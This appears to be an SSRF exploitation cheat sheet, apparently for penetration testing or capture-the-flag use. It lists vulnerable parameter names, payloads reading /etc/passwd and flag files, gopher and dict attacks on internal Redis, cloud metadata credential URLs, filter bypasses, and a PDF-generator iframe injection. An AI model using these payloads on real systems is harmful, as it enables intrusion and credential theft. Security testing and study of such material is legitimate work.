In-Depth Reference
- Complete list of IP filter bypasses, cloud metadata paths, detailed protocol exploitation commands → references/ssrf-bypass.md
- Advanced cloud SSRF (containers/serverless credentials/K8s lateral movement/bypass techniques) → references/cloud-ssrf.md
- Gopher protocol payload generation and real-world combination chains → references/gopherus-payloads.md
Phase 1: Discover SSRF Entry Points
Parameter Name Clues(highly suspicious):
url, uri, path, src, dest, redirect, callback, next, data, reference, site, html, imageUrl, feed, target, proxy, link
Feature Clues: URL preview, PDF/image generation (wkhtmltopdf, puppeteer), Webhook, remote image fetching, RSS import
Phase 2: Basic SSRF Verification
url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/
Response difference judgment: content changes → reflected SSRF | only status code → semi-blind | no difference → fully blind
Pitfall: the application may filter 127.0.0.1 but allow variants → bypass needed (references/ssrf-bypass.md）
Phase 3: Protocol Exploitation Quick Reference
url=file:///etc/passwd # 文件读取（最高价值）
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis（⚠️ PHP curl 可用, Python requests 不可用）
url=dict://127.0.0.1:6379/info
Phase 4: Cloud Metadata Quick Reference
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure (需 Header)
Phase 5: Exploitation Decision Tree
SSRF 入口确认
├─ 有回显？ → 直接读内容/探测端口
│ ├─ file:// 可用？ → 读取敏感文件（/etc/passwd, /flag.txt, /app/config.py）
│ ├─ 云环境？ → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│ └─ 内网服务？ → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲？
│ ├─ 端口扫描 → 状态码/响应时间差异
│ └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤？ → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制？ → 检查 HTTP-only vs 全协议
Protocol and Library Limitations
Different implementations support different protocols; not all SSRF supports all protocols:
| Library/Environment | file:// | gopher:// | dict:// |
|---|---|---|---|
| PHP curl | ✅ | ✅ | ✅ |
| Python requests | ❌ | ❌ | ❌ |
| Python urllib | ✅ | ❌ | ❌ |
| Java URLConnection | ✅ | ❌ | ❌ |
| Node.js fetch | ❌ | ❌ | ❌ |
IP Short-Form Bypass：127.1、127.0.1(omit 0)
Notes
- file:// is the highest-value protocol: directly read server files
- Gopher Pitfall: PHP curl supports gopher, Python requests does not
- SSRF and XXE are often combined: SYSTEM in XXE is SSRF
- PDF Generator SSRF: wkhtmltopdf/puppeteer loads external resources when generating PDFs, inject
<iframe src="file:///etc/passwd">or<img src="http://127.0.0.1/">